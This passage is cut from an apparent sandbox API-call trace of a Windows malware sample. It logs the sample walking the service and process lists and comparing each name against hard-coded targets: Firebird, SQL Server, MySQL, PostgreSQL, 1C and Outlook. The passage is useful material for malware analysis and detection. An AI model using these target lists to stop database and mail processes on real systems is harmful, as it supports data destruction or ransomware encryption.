(lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0032.229] lstrlenW (lpString="NlaSvc") returned 6 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0032.229] lstrlenW (lpString="nsi") returned 3 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0032.229] lstrlenW (lpString="PcaSvc") returned 6 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0032.229] lstrlenW (lpString="PlugPlay") returned 8 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0032.230] lstrlenW (lpString="Power") returned 5 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0032.230] lstrlenW (lpString="ProfSvc") returned 7 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0032.230] lstrlenW (lpString="RpcEptMapper") returned 12 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0032.230] lstrlenW (lpString="RpcSs") returned 5 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0032.230] lstrlenW (lpString="SamSs") returned 5 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0032.230] lstrlenW (lpString="Schedule") returned 8 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0032.230] lstrlenW (lpString="SENS") returned 4 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0032.230] lstrlenW (lpString="ShellHWDetection") returned 16 [0032.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0032.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0032.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0032.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0032.230] lstrlenW (lpString="Spooler") returned 7 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0032.231] lstrlenW (lpString="SysMain") returned 7 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0032.231] lstrlenW (lpString="Themes") returned 6 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0032.231] lstrlenW (lpString="TrkWks") returned 6 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0032.231] lstrlenW (lpString="UxSms") returned 5 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0032.231] lstrlenW (lpString="WdiServiceHost") returned 14 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0032.231] lstrlenW (lpString="WdiSystemHost") returned 13 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0032.231] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0032.231] lstrlenW (lpString="Winmgmt") returned 7 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0032.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0032.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0032.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0032.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0032.231] lstrlenW (lpString="WPDBusEnum") returned 10 [0032.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0032.232] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0032.232] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0032.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0032.232] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ee4a0 | out: hHeap=0x880000) returned 1 [0032.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0032.234] Process32FirstW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.234] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0032.235] lstrlenW (lpString="System") returned 6 [0032.235] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0032.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0032.235] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0032.235] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0032.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0032.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0032.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0032.235] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0032.235] lstrlenW (lpString="smss.exe") returned 8 [0032.235] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0032.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0032.235] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0032.235] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0032.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0032.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0032.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0032.237] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.237] lstrlenW (lpString="csrss.exe") returned 9 [0032.238] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.238] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.238] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0032.238] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0032.238] lstrlenW (lpString="wininit.exe") returned 11 [0032.238] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0032.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0032.238] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0032.238] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0032.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0032.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0032.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0032.238] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0032.239] lstrlenW (lpString="csrss.exe") returned 9 [0032.239] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0032.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0032.239] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0032.239] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0032.239] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0032.239] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0032.239] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0032.239] lstrlenW (lpString="winlogon.exe") returned 12 [0032.239] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0032.240] lstrlenW (lpString="services.exe") returned 12 [0032.240] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0032.240] lstrlenW (lpString="lsass.exe") returned 9 [0032.240] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0032.240] lstrlenW (lpString="lsm.exe") returned 7 [0032.240] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.241] lstrlenW (lpString="svchost.exe") returned 11 [0032.241] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.241] lstrlenW (lpString="svchost.exe") returned 11 [0032.241] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.242] lstrlenW (lpString="svchost.exe") returned 11 [0032.242] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.242] lstrlenW (lpString="svchost.exe") returned 11 [0032.242] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.242] lstrlenW (lpString="svchost.exe") returned 11 [0032.242] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0032.243] lstrlenW (lpString="audiodg.exe") returned 11 [0032.243] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.243] lstrlenW (lpString="svchost.exe") returned 11 [0032.243] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.243] lstrlenW (lpString="svchost.exe") returned 11 [0032.243] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0032.244] lstrlenW (lpString="dwm.exe") returned 7 [0032.244] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0032.244] lstrlenW (lpString="explorer.exe") returned 12 [0032.244] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0032.244] lstrlenW (lpString="spoolsv.exe") returned 11 [0032.244] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.245] lstrlenW (lpString="taskhost.exe") returned 12 [0032.245] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.245] lstrlenW (lpString="svchost.exe") returned 11 [0032.245] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0032.245] lstrlenW (lpString="taskeng.exe") returned 11 [0032.246] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0032.246] lstrlenW (lpString="judges-present.exe") returned 18 [0032.246] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0032.246] lstrlenW (lpString="physics.exe") returned 11 [0032.246] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0032.247] lstrlenW (lpString="belongs.exe") returned 11 [0032.247] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0032.247] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0032.247] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0032.247] lstrlenW (lpString="gadgets.exe") returned 11 [0032.247] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0032.248] lstrlenW (lpString="geneva.exe") returned 10 [0032.248] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0032.248] lstrlenW (lpString="elephant.exe") returned 12 [0032.248] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0032.248] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0032.248] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0032.249] lstrlenW (lpString="roger-venice.exe") returned 16 [0032.249] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0032.249] lstrlenW (lpString="cite.exe") returned 8 [0032.249] Process32NextW (in: hSnapshot=0x118, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0032.249] lstrlenW 